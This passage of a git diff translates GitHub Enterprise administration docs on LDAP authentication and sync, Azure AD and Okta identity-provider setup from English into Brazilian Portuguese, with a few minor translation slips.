+| `Chaves SSH`                                        | Opcional    | Chaves SSH públicas vinculadas à conta de um usuário no {% data variables.product.prodname_ghe_server %}. As chaves devem estar no formato OpenSSH.                                                                                                                                                                                                                                                                                                                                                                                         |
+| `Chaves GPG`                                        | Opcional    | Chaves GPG vinculadas à conta de um usuário no {% data variables.product.prodname_ghe_server %}.                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| `Desabilitar autenticação LDAP em operações no Git` | Opcional    | Se estiver selecionada, essa opção [desativa](#disabling-password-authentication-for-git-operations) o recurso dos usuários para usar senhas LDAP a fim de autenticar as operações no Git.                                                                                                                                                                                                                                                                                                                                                    |
+| `Habilitar verificação certificada LDAP`            | Opcional    | Se estiver selecionada, essa opção [desativa](#enabling-ldap-certificate-verification) a verificação de certificado LDAP.                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| `Sincronização`                                     | Opcional    | Se estiver selecionada, essa opção [ativa](#enabling-ldap-sync) a Sincronização LDAP.                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
 
-### Disabling password authentication for Git operations
+### Desabilitar autenticação de senha nas operações no Git
 
-Select **Disable username and password authentication for Git operations** in your LDAP settings to enforce use of personal access tokens or SSH keys for Git access, which can help prevent your server from being overloaded by LDAP authentication requests. We recommend this setting because a slow-responding LDAP server, especially combined with a large number of requests due to polling, is a frequent source of performance issues and outages.
+Selecione **Disable username and password authentication for Git operations** (Desabilitar autenticação de nome de usuário e senha para operações do Git) nas configurações LDAP para impor o uso de tokens de acesso pessoal ou chaves SSH, o que pode ajudar a impedir a sobrecarga do servidor por solicitações de autenticação LDAP. Essa configuração é recomendável porque servidores LDAP com resposta lenta, especialmente combinados a um grande número de solicitações devido à sondagem, são uma causa comum de interrupções e problemas de desempenho.
 
-![Disable LDAP password auth for Git check box](/assets/images/enterprise/management-console/ldap-disable-password-auth-for-git.png)
+![Desabilitar autenticação de senha LDAP na caixa de seleção do Git](/assets/images/enterprise/management-console/ldap-disable-password-auth-for-git.png)
 
-When this option is selected, if a user tries to use a password for Git operations via the command line, they will receive an error message that says, `Password authentication is not allowed for Git operations. You must use a personal access token.`
+Quando esta opção estiver selecionada, se tentar usar uma senha para as operações do Git pela linha de comando, o usuário receberá está mensagem de erro: `A autenticação de senha não é permitida para operações do Git. <code>Use um token de acesso pessoal`.
 
-### Enabling LDAP certificate verification
+### Habilitar verificação certificada LDAP
 
-Select **Enable LDAP certificate verification** in your LDAP settings to validate the LDAP server certificate you use with TLS.
+Selecione **Enable LDAP certificate verification** (Habilitar verificação certificada LDAP) nas suas configurações LDAP para validar o certificado de servidor LDAP que você usa com o TLS.
 
-![LDAP certificate verification box](/assets/images/enterprise/management-console/ldap-enable-certificate-verification.png)
+![Caixa de seleção de verificação certificada LDAP](/assets/images/enterprise/management-console/ldap-enable-certificate-verification.png)
 
-When this option is selected, the certificate is validated to make sure:
-- If the certificate contains at least one Subject Alternative Name (SAN), one of the SANs matches the LDAP hostname. Otherwise, the Common Name (CN) matches the LDAP hostname.
-- The certificate is not expired.
-- The certificate is signed by a trusted certificate authority (CA).
+Quando esta opção estiver selecionada, o certificado será validado para garantir o seguinte:
+- Se o certificado contiver ao menos um nome alternativo da entidade (SAN, Subject Alternative Name), um dos SANs deve corresponder ao nome do host LDAP. Do contrário, o nome comum (CN) corresponderá ao nome de host LDAP.
+- O certificado não deve estar expirado.
+- O certificado deve estar assinado por uma autoridade de certificação (CA, Certificate Authority) confiável.
 
-### Enabling LDAP Sync
+### Habilitar a Sincronização LDAP
 
 {% note %}
 
-**Note:** Teams using LDAP Sync are limited to a maximum 1499 members.
+**Observação:** As equipes que usam Sincronização LDAP são limitadas a um máximo de 1499 integrantes.
 
 {% endnote %}
 
-LDAP Sync lets you synchronize {% data variables.product.prodname_ghe_server %} users and team membership against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.product.prodname_ghe_server %}. For more information, see "[Creating teams](/enterprise/{{ currentVersion }}/admin/guides/user-management/creating-teams#creating-teams-with-ldap-sync-enabled)."
+A Sincronização LDAP permite sincronizar os usuários do {% data variables.product.prodname_ghe_server %} e a associação da equipe nos seus grupos LDAP estabelecidos. Assim, é possível estabelecer o controle de acesso baseado em função para os usuários do seu servidor LDAP, em vez de fazer isso manualmente no {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[Criar equipes](/enterprise/{{ currentVersion }}/admin/guides/user-management/creating-teams#creating-teams-with-ldap-sync-enabled)".
 
-To enable LDAP Sync, in your LDAP settings, select **Synchronize Emails**, **Synchronize SSH Keys**, or **Synchronize GPG Keys** .
+Para habilitar a Sincronização LDAP, selecione **Synchronize Emails** (Sincronizar e-mails), **Synchronize SSH Keys** (Sincronizar chaves SSH) ou **Synchronize GPG Keys** (Sincronizar chaves GPG) nas configurações LDAP.
 
-![Synchronization check box](/assets/images/enterprise/management-console/ldap-synchronize.png)
+![Caixa de seleção de sincronização](/assets/images/enterprise/management-console/ldap-synchronize.png)
 
-After you enable LDAP sync, a synchronization job will run at the specified time interval to perform the following operations on each user account:
+Depois que você habilitar a sincronização LDAP, um trabalho de sincronização será executado no período especificado para fazer as seguintes operações em cada conta de usuário:
 
-- If you've allowed built-in authentication for users outside your identity provider, and the user is using built-in authentication, move on to the next user.
-- If no LDAP mapping exists for the user, try to map the user to an LDAP entry in the directory. If the user cannot be mapped to an LDAP entry, suspend the user and move on to the next user.
-- If there is an LDAP mapping and the corresponding LDAP entry in the directory is missing, suspend the user and move on to the next user.
-- If the corresponding LDAP entry has been marked as disabled and the user is not already suspended, suspend the user and move on to the next user.
-- If the corresponding LDAP entry is not marked as disabled, and the user is suspended, and _Reactivate suspended users_ is enabled in the Admin Center, unsuspend the user.
-- If the corresponding LDAP entry includes a `name` attribute, update the user's profile name.
-- If the corresponding LDAP entry is in the Administrators group, promote the user to site administrator.
-- If the corresponding LDAP entry is not in the Administrators group, demote the user to a normal account.
-- If an LDAP User field is defined for emails, synchronize the user's email settings with the LDAP entry. Set the first LDAP `mail` entry as the primary email.
-- If an LDAP User field is defined for SSH public keys, synchronize the user's public SSH keys with the LDAP entry.  
-- If an LDAP User field is defined for GPG keys, synchronize the user's GPG keys with the LDAP entry.  
+- Se você tiver permitido a autenticação integrada para usuários de fora do provedor de identidade e o usuário estiver usando a autenticação integrada, vá para o próximo usuário.
+- Se não houver mapeamento LDAP para o usuário, tente mapeá-lo para uma entrada LDAP no diretório. Se não for possível mapear o usuário para uma entrada LDAP, suspenda o usuário em questão e passe para o seguinte.
+- Se houver um mapeamento LDAP e a entrada LDAP correspondente no diretório estiver ausente, suspenda o usuário e passe para o seguinte.
+- Se a entrada LDAP correspondente tiver sido marcada como desativada e o usuário ainda não estiver suspenso, suspenda o usuário e passe para o seguinte.
+- Se a entrada LDAP correspondente não estiver marcada como desabilitada, se o usuário estiver suspenso e se a opção _Reativar usuários suspensos_ estiver habilitada na central do administrador, cancele a suspensão do usuário.
+- Se a entrada LDAP correspondente incluir um atributo `name`, atualize o nome do perfil do usuário.
+- Se a entrada LDAP correspondente estiver no grupo de administradores, promova o usuário a administrador do site.
+- Se a entrada LDAP correspondente não estiver no grupo de administradores, rebaixe o usuário para uma conta regular.
+- Se um campo LDAP User (Usuário LDAP) estiver definido para e-mails, sincronize as configurações de e-mail do usuário com a entrada LDAP. Defina a primeira entrada LDAP `mail` como e-mail principal.
+- Se um campo LDAP User (Usuário LDAP) estiver definido para chaves SSH públicas, sincronize as chaves SSH públicas do usuário com a entrada LDAP.
+- Se um campo LDAP User (Usuário LDAP) estiver definido para chaves GPG públicas, sincronize as chaves GPG públicas do usuário com a entrada LDAP.
 
 {% note %}
 
-**Note**: LDAP entries can only be marked as disabled if you use Active Directory and the `userAccountControl` attribute is present and flagged with `ACCOUNTDISABLE`. Some variations of Active Directory, such as AD LDS and ADAM, don't support the `userAccountControl` attribute.
+**Observação**: as entradas LDAP só podem ser marcadas como desabilitadas se você usar o Active Directory, e se o atributo `userAccountControl` estiver presente e sinalizado com `ACCOUNTDISABLE`. Algumas variações do Diretório Ativo, como AD LDS e ADAM, não são compatíveis com o atributo `userAccountControl`.
 
 {% endnote %}
 
-A synchronization job will also run at the specified time interval to perform the following operations on each team that has been mapped to an LDAP group:
+Um trabalho de sincronização também será executado no período especificado para fazer as seguintes operações em cada equipe mapeada para um grupo LDAP:
 
-- If a team's corresponding LDAP group has been removed, remove all members from the team.
-- If LDAP member entries have been removed from the LDAP group, remove the corresponding users from the team. If the user is no longer a member of any team in the organization, remove the user from the organization. If the user loses access to any repositories as a result, delete any private forks the user has of those repositories.
-- If LDAP member entries have been added to the LDAP group, add the corresponding users to the team. If the user regains access to any repositories as a result, restore any private forks of the repositories that were deleted because the user lost access in the past 90 days.
+- Se um grupo LDAP correspondente de uma equipe tiver sido removido, remova todos os integrantes da equipe.
+- Se as entradas do integrante LDAP tiverem sido removidas do grupo LDAP, remova os usuários correspondentes da equipe. Se o usuário não for mais integrante de qualquer equipe na organização, remova o usuário da organização. Se o usuário perder o acesso a qualquer repositórios, exclua todas as bifurcações privadas que ele possa ter nesses repositórios.
+- Se as entradas do integrante LDAP tiverem sido adicionadas ao grupo LDAP, adicione os usuários correspondentes à equipe. Se o usuário recuperar o acesso a quaisquer repositórios, restaure todas as bifurcações privadas dos repositórios que foram excluídos porque o usuário perdeu o acesso nos últimos 90 dias.
 
 {% data reusables.enterprise_user_management.ldap-sync-nested-teams %}
 
 {% warning %}
 
-**Security Warning:**
+**Aviso de segurança:**
 
-When LDAP Sync is enabled, site admins and organization owners can search the LDAP directory for groups to map the team to.
+Quando a Sincronização LDAP está ativada, os administradores do site e os proprietários da organização podem pesquisar grupos no diretório LDAP aos quais pretendem mapear a equipe.
 
-This has the potential to disclose sensitive organizational information to contractors or other unprivileged users, including:
+Esse procedimento pode resultar na divulgação de informações confidenciais da organização para contratados ou outros usuários sem privilégios, inclusive:
 
-- The existence of specific LDAP Groups visible to the *Domain search user*.
-- Members of the LDAP group who have {% data variables.product.prodname_ghe_server %} user accounts, which is disclosed when creating a team synced with that LDAP group.
+- A existência de grupos LDAP específicos visíveis para o *usuário de pesquisa de domínio*;
+- Integrantes do grupo LDAP que tenham contas de usuário no {% data variables.product.prodname_ghe_server %}, divulgadas ao criar uma equipe sincronizada com o grupo LDAP.
 
-If disclosing such information is not desired, your company or organization should restrict the permissions of the configured *Domain search user* in the admin console. If such restriction isn't possible, contact {% data variables.contact.contact_ent_support %}.
+Se não houver intenção de divulgar essas informações, sua empresa ou organização deve restringir as permissões do *usuário de pesquisa de domínio* configurado no Console de administração. Caso não seja possível fazer essa restrição, entre em contato com o {% data variables.contact.contact_ent_support %}.
 
 {% endwarning %}
 
-### Supported LDAP group object classes
+### Classes de grupo de objeto LDAP compatíveis
 
-{% data variables.product.prodname_ghe_server %} supports these LDAP group object classes. Groups can be nested.
+O {% data variables.product.prodname_ghe_server %} é compatível com as seguintes classes de grupo de objeto LDAP. Os grupos podem ser aninhados.
 
-- `group`
+- `grupo`
 - `groupOfNames`
 - `groupOfUniqueNames`
 - `posixGroup`
 
-## Viewing and creating LDAP users
+## Exibir e criar usuários LDAP
 
-You can view the full list of LDAP users who have access to your instance and provision new users.
+É possível exibir a lista completa de usuários LDAP que têm acesso à sua instância, e você também pode provisionar novos usuários.
 
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-3. In the left sidebar, click **LDAP users**.
-![LDAP users tab](/assets/images/enterprise/site-admin-settings/ldap-users-tab.png)
-4. To search for a user, type a full or partial username and click **Search**. Existing users will be displayed in search results. If a user doesn’t exist, click **Create** to provision the new user account.
-![LDAP search](/assets/images/enterprise/site-admin-settings/ldap-users-search.png)
+3. Na barra lateral esquerda, clique em **LDAP users** (Usuários LDAP). ![Guia de usuários LDAP](/assets/images/enterprise/site-admin-settings/ldap-users-tab.png)
+4. Para procurar um usuário, digite um nome (total ou parcialmente) do usuário e clique em **Search** (Pesquisar). Os usuários serão exibidos nos resultados da pesquisa. Se o usuário não existir, clique em **Create** (Criar) para provisionar a nova conta. ![Pesquisa LDAP](/assets/images/enterprise/site-admin-settings/ldap-users-search.png)
 
-## Updating LDAP accounts
+## Atualizar contas LDAP
 
-Unless [LDAP Sync is enabled](#enabling-ldap-sync), changes to LDAP accounts are not automatically synchronized with {% data variables.product.prodname_ghe_server %}.
+Se a [Sincronização LDAP estiver desabilitada](#enabling-ldap-sync), as alterações nas contas LDAP não serão sincronizadas automaticamente com o {% data variables.product.prodname_ghe_server %}.
 
-* To use a new LDAP admin group, users must be manually promoted and demoted on {% data variables.product.prodname_ghe_server %} to reflect changes in LDAP.
-* To add or remove LDAP accounts in LDAP admin groups, [promote or demote the accounts on {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/user-management/promoting-or-demoting-a-site-administrator).
-* To remove LDAP accounts, [suspend the {% data variables.product.prodname_ghe_server %} accounts](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users).
+* Para usar um novo grupo de administradores LDAP, os usuários devem ser promovidos e rebaixados manualmente no {% data variables.product.prodname_ghe_server %} a fim de refletir as mudanças no LDAP.
+* Para adicionar ou remover contas LDAP nos grupos de administração LDAP, [promova ou rebaixe as contas no {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/user-management/promoting-or-demoting-a-site-administrator).
+* Para remover contas LDAP, [suspenda as contas do {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users).
 
-### Manually syncing LDAP accounts
+### Sincronizar contas LDAP manualmente
 
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
@@ -195,13 +193,12 @@ Unless [LDAP Sync is enabled](#enabling-ldap-sync), changes to LDAP accounts are
 {% data reusables.enterprise_site_admin_settings.click-user %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-5. Under "LDAP," click **Sync now** to manually update the account with data from your LDAP server.
-![LDAP sync now button](/assets/images/enterprise/site-admin-settings/ldap-sync-now-button.png)
+5. Em "LDAP," clique em **Sync now** (Sincronizar agora) para atualizar manualmente a conta com os dados do seu servidor LDAP. ![Botão LDAP sync now (Sincronizar LDAP agora)](/assets/images/enterprise/site-admin-settings/ldap-sync-now-button.png)
 
-You can also [use the API to trigger a manual sync](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap).
+Você também pode [usar a API para acionar uma sincronização manual](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap).
 
-## Revoking access to {% data variables.product.product_location %}
+## Revogar o acesso à {% data variables.product.product_location %}
 
-If [LDAP Sync is enabled](#enabling-ldap-sync), removing a user's LDAP credentials will suspend their account after the next synchronization run.
+Se a [Sincronização LDAP estiver habilitada](#enabling-ldap-sync), remover as credenciais LDAP do usuário suspenderá a conta do usuário após a execução de sincronização seguinte.
 
-If LDAP Sync is **not** enabled, you must manually suspend the {% data variables.product.prodname_ghe_server %} account after you remove the LDAP credentials. For more information, see "[Suspending and unsuspending users](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)".
+Se a Sincronização LDAP **não** estiver habilitada, você deve suspender manualmente a conta do {% data variables.product.prodname_ghe_server %} após remover as credenciais LDAP. Para obter mais informações, consulte "[Suspender e cancelar a suspensão de usuários](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)".
diff --git a/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md b/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
index 21fc4b65db..1af7baf370 100644
--- a/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
+++ b/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring authentication and provisioning for your enterprise using Azure AD
-shortTitle: Configuring with Azure AD
-intro: 'You can use a tenant in Azure Active Directory (Azure AD) as an identity provider (IdP) to centrally manage authentication and user provisioning for {% data variables.product.product_location %}.'
+title: Configurar a autenticação e provisionamento para sua empresa usando o Azure AD
+shortTitle: Configurar com Azure AD
+intro: 'Você pode usar um inquilino no Azure Active Directory (Azure AD) como um provedor de identidade (IdP) para gerenciar centralizadamente autenticação e provisionamento de usuário para {% data variables.product.product_location %}.'
 permissions: 'Enterprise owners can configure authentication and provisioning for an enterprise on {% data variables.product.product_name %}.'
 versions:
   ghae: '*'
@@ -15,41 +15,42 @@ topics:
 redirect_from:
   - /admin/authentication/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
 ---
-## About authentication and user provisioning with Azure AD
 
-Azure Active Directory (Azure AD) is a service from Microsoft that allows you to centrally manage user accounts and access to web applications. For more information, see [What is Azure Active Directory?](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis) in the Microsoft Docs.
+## Sobre autenticação e provisionamento de usuário com Azure AD
 
-To manage identity and access for {% data variables.product.product_name %}, you can use an Azure AD tenant as a SAML IdP for authentication. You can also configure Azure AD to automatically provision accounts and access membership with SCIM, which allows you to create {% data variables.product.prodname_ghe_managed %} users and manage team and organization membership from your Azure AD tenant.
+O Azure Active Directory (Azure AD) é um serviço da Microsoft que permite gerenciar centralmente as contas de usuários e acessar aplicativos da web. Para obter mais informações, consulte [O que é Azure Active Directory?](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis) na documentação da Microsoft.
 
-After you enable SAML SSO and SCIM for {% data variables.product.prodname_ghe_managed %} using Azure AD, you can accomplish the following from your Azure AD tenant.
+Para gerenciar identidade e acesso para {% data variables.product.product_name %}, você pode usar um inquilino no Azure AD como um IdP de SAML para autenticação. Você também pode configurar o Azure AD para fornecer contas automaticamente e acessar a associação com o SCIM, que permite criar usuários de {% data variables.product.prodname_ghe_managed %} e gerenciar os membros da equipe e da organização do seu inquilino do Azure AD.
 
-* Assign the {% data variables.product.prodname_ghe_managed %} application on Azure AD to a user account to automatically create and grant access to a corresponding user account on {% data variables.product.product_name %}.
-* Unassign the {% data variables.product.prodname_ghe_managed %} application to a user account on Azure AD to deactivate the corresponding user account on {% data variables.product.product_name %}.
-* Assign the {% data variables.product.prodname_ghe_managed %} application to an IdP group on Azure AD to automatically create and grant access to user accounts on {% data variables.product.product_name %} for all members of the IdP group. In addition, the IdP group is available on {% data variables.product.prodname_ghe_managed %} for connection to a team and its parent organization.
-* Unassign the {% data variables.product.prodname_ghe_managed %} application from an IdP group to deactivate the {% data variables.product.product_name %} user accounts of all IdP users who had access only through that IdP group and remove the users from the parent organization. The IdP group will be disconnected from any teams on {% data variables.product.product_name %}.
+Após habilitar o SAML SSO e SCIM durante {% data variables.product.prodname_ghe_managed %} usando Azure AD, você pode realizar o seguinte no seu inquilino do Azure AD.
 
-For more information about managing identity and access for your enterprise on {% data variables.product.product_location %}, see "[Managing identity and access for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise)." For more information about synchronizing teams with IdP groups, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)."
+* Atribua o aplicativo de {% data variables.product.prodname_ghe_managed %} no Azure AD a uma conta de usuário para criar e conceder acesso automaticamente a uma conta de usuário correspondente em {% data variables.product.product_name %}.
+* Desatribua o aplicativo de {% data variables.product.prodname_ghe_managed %} para uma conta de usuário no Azure AD para desabilitar a conta de usuário correspondente em {% data variables.product.product_name %}.
+* Atribua o aplicativo {% data variables.product.prodname_ghe_managed %} a um grupo IdP no Azure AD para criar automaticamente e conceder acesso a contas de usuário em {% data variables.product.product_name %} para todos os integrantes do grupo IdP. Além disso, o grupo IdP está disponível em {% data variables.product.prodname_ghe_managed %} para conexão com uma equipe e sua organização principal.
+* Desatribua o aplicativo de {% data variables.product.prodname_ghe_managed %} de um grupo de IdP para desativar as contas de usuário de {% data variables.product.product_name %} de todos os usuários de IdP que tiveram acesso somente através desse grupo de IdP e remova os usuários da organização principal. O grupo IdP será desconectado de qualquer equipe em {% data variables.product.product_name %}.
 
-## Prerequisites
+Para obter mais informações sobre gerenciamento de identidade e acesso para a sua empresa em {% data variables.product.product_location %}, consulte "[Gerenciar identidade e acesso da sua empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise)". Para obter mais informações sobre como sincronizar equipes com grupos de IdP, consulte "[Sincronizar uma equipe com um grupo de provedores de identidade](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)".
 
-To configure authentication and user provisioning for {% data variables.product.product_name %} using Azure AD, you must have an Azure AD account and tenant. For more information, see the [Azure AD website](https://azure.microsoft.com/free/active-directory) and [Quickstart: Create an Azure Active Directory tenant](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant) in the Microsoft Docs.
+## Pré-requisitos
 
-{% data reusables.saml.assert-the-administrator-attribute %} For more information about including the `administrator` attribute in the SAML claim from Azure AD, see [How to: customize claims issued in the SAML token for enterprise applications](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization) in the Microsoft Docs.
+Para configurar o provisionamento de autenticação e usuário para {% data variables.product.product_name %} usando o Azure AD, você deve ter uma conta do Azure AD e um inquilino. Para obter mais informações, consulte o [site do Azure AD](https://azure.microsoft.com/free/active-directory) e o [Início rápido: Crie um inquilino do Azure Active Directory](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant) na documentação da Microsoft.
+
+{% data reusables.saml.assert-the-administrator-attribute %} Para mais informações sobre a inclusão do atributo do `administrador` na solicitação do SAML do Azure AD, consulte [Como personalizar solicitações emitidas no token SAML para aplicativos corporativos](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization) na documentação da Microsoft.
 
 {% data reusables.saml.create-a-machine-user %}
 
-## Configuring authentication and user provisioning with Azure AD
+## Configurar autenticação e provisionamento de usuário com Azure AD
 
 {% ifversion ghae %}
 
-1. In Azure AD, add {% data variables.product.ae_azure_ad_app_link %} to your tenant and configure single sign-on. For more information, see [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs.
+1. No Azure AD, adicione {% data variables.product.ae_azure_ad_app_link %} ao seu inquilino e configure logon único. Para obter mais informações, consulte o [Tutorial: integração do logon único (SSO) do Azure Active Directory com {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) na documentação da Microsoft.
 
-1. In {% data variables.product.prodname_ghe_managed %}, enter the details for your Azure AD tenant.
+1. Em {% data variables.product.prodname_ghe_managed %}, insira os detalhes para o seu inquilino do Azure AD.
 
     - {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
-    - If you've already configured SAML SSO for {% data variables.product.product_location %} using another IdP and you want to use Azure AD instead, you can edit your configuration. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)."
+    - Se você já configurou SSO de SAML para {% data variables.product.product_location %} usando outro IdP e você deseja usar o Azure AD, você pode editar a sua configuração. Para obter mais informações, consulte "[Configurar logon único SAML para a sua empresa](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)".
 
-1. Enable user provisioning in {% data variables.product.product_name %} and configure user provisioning in Azure AD. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)."
+1. Habilitar provisionamento do usuário em {% data variables.product.product_name %} e configurar provisionamento do usuário no Azure AD. Para obter mais informações, consulte "[Configurar provisionamento do usuário para sua empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)".
 
 {% endif %}
diff --git a/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md b/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
index fbe74e7c94..a1d419bc9a 100644
--- a/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
+++ b/translations/pt-BR/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring authentication and provisioning for your enterprise using Okta
-shortTitle: Configuring with Okta
-intro: 'You can use Okta as an identity provider (IdP) to centrally manage authentication and user provisioning for {% data variables.product.prodname_ghe_managed %}.'
+title: Configurar autenticação e provisionamento para sua empresa usando o Okta
+shortTitle: Configurando com Okta
+intro: 'Você pode usar o Okta como um provedor de identidade (IdP) para gerenciar centralmente o provisionamento de autenticação e usuário para {% data variables.product.prodname_ghe_managed %}.'
 permissions: 'Enterprise owners can configure authentication and provisioning for {% data variables.product.prodname_ghe_managed %}.'
 versions:
   ghae: '*'
@@ -17,140 +17,140 @@ miniTocMaxHeadingLevel: 3
 
 {% data reusables.saml.okta-ae-sso-beta %}
 
-## About SAML and SCIM with Okta
+## Sobre SAML e SCIM com Okta
 
-You can use Okta as an Identity Provider (IdP) for {% data variables.product.prodname_ghe_managed %}, which allows your Okta users to sign in to {% data variables.product.prodname_ghe_managed %} using their Okta credentials.
+Você pode usar Okta como um Provedor de Identidade (IdP) para {% data variables.product.prodname_ghe_managed %}, o que permite aos usuários do Okta efetuem o login em {% data variables.product.prodname_ghe_managed %} usando suas credenciais do Okta.
 
-To use Okta as your IdP for {% data variables.product.prodname_ghe_managed %}, you can add the {% data variables.product.prodname_ghe_managed %} app to Okta, configure Okta as your IdP in {% data variables.product.prodname_ghe_managed %}, and provision access for your Okta users and groups.
+Para usar Okta como seu IdP para {% data variables.product.prodname_ghe_managed %}, você pode adicionar o aplicativo {% data variables.product.prodname_ghe_managed %} ao Okta, configurar o Okta como seu IdP em {% data variables.product.prodname_ghe_managed %} e fornecer acesso aos seus usuários e grupos da Okta.
 
-The following provisioning features are available for all Okta users that you assign to your {% data variables.product.prodname_ghe_managed %} application.
+Os recursos de provisionamento a seguir estão disponíveis para todos os usuários do Okta que você atribuir ao seu aplicativo de {% data variables.product.prodname_ghe_managed %}.
 
-| Feature | Description |
-| --- | --- |
-| Push New Users | When you create a new user in Okta, the user is added to {% data variables.product.prodname_ghe_managed %}. |
-| Push User Deactivation | When you deactivate a user in Okta, it will suspend the user from your enterprise on {% data variables.product.prodname_ghe_managed %}. |
-| Push Profile Updates | When you update a user's profile in Okta, it will update the metadata for the user's membership in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
-| Reactivate Users | When you reactivate a user in Okta, it will unsuspend the user in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
+| Funcionalidade                        | Descrição                                                                                                                                                                        |
+| ------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Fazer push de novos usuários          | Ao criar um novo usuário no Okta, o usuário é adicionado a {% data variables.product.prodname_ghe_managed %}.                                                                  |
+| Fazer push de desativações de usuário | Ao desativar um usuário no Okta, ele irá suspender o usuário da sua empresa em {% data variables.product.prodname_ghe_managed %}.                                              |
+| Fazer push das atualização de perfil  | Ao atualizar o perfil de um usuário no Okta, ele irá atualizar os metadados para a associação de usuários na sua empresa em {% data variables.product.prodname_ghe_managed %}. |
+| Reativar usuários                     | Ao reativar um usuário no Okta, ele cancelará a suspensão do usuário na sua empresa em {% data variables.product.prodname_ghe_managed %}.                                      |
 
-## Adding the {% data variables.product.prodname_ghe_managed %} application in Okta
+## Adicionar o aplicativo {% data variables.product.prodname_ghe_managed %} no Okta
 
 {% data reusables.saml.okta-ae-applications-menu %}
-1. Click **Browse App Catalog**
+1. Clique **para navegar pelo catálogo do aplicativo**
 
-  !["Browse App Catalog"](/assets/images/help/saml/okta-ae-browse-app-catalog.png)
+  !["Navegar pelo Catálogo do aplicativo"](/assets/images/help/saml/okta-ae-browse-app-catalog.png)
 
-1. In the search field, type "GitHub AE", then click **GitHub AE** in the results.
+1. No campo de busca, digite "GitHub AE" e, em seguida, clique em **GitHub AE** nos resultados.
 
-  !["Search result"](/assets/images/help/saml/okta-ae-search.png)
+  !["Resultado da pesquisa"](/assets/images/help/saml/okta-ae-search.png)
 
-1. Click **Add**.
+1. Clique em **Salvar**.
 
-  !["Add GitHub AE app"](/assets/images/help/saml/okta-ae-add-github-ae.png)
+  !["Adicionar aplicativo GitHub AE"](/assets/images/help/saml/okta-ae-add-github-ae.png)
 
-1. For "Base URL", type the URL of your enterprise on {% data variables.product.prodname_ghe_managed %}.
+1. Para "URL de base", digite a URL da empresa em {% data variables.product.prodname_ghe_managed %}.
 
-  !["Configure Base URL"](/assets/images/help/saml/okta-ae-configure-base-url.png)
+  !["Configurar a URL base"](/assets/images/help/saml/okta-ae-configure-base-url.png)
 
-1. Click **Done**.
+1. Clique em **Cpncluído**.
 
-## Enabling SAML SSO for {% data variables.product.prodname_ghe_managed %}
+## Habilitando o SAML SSO para {% data variables.product.prodname_ghe_managed %}
 
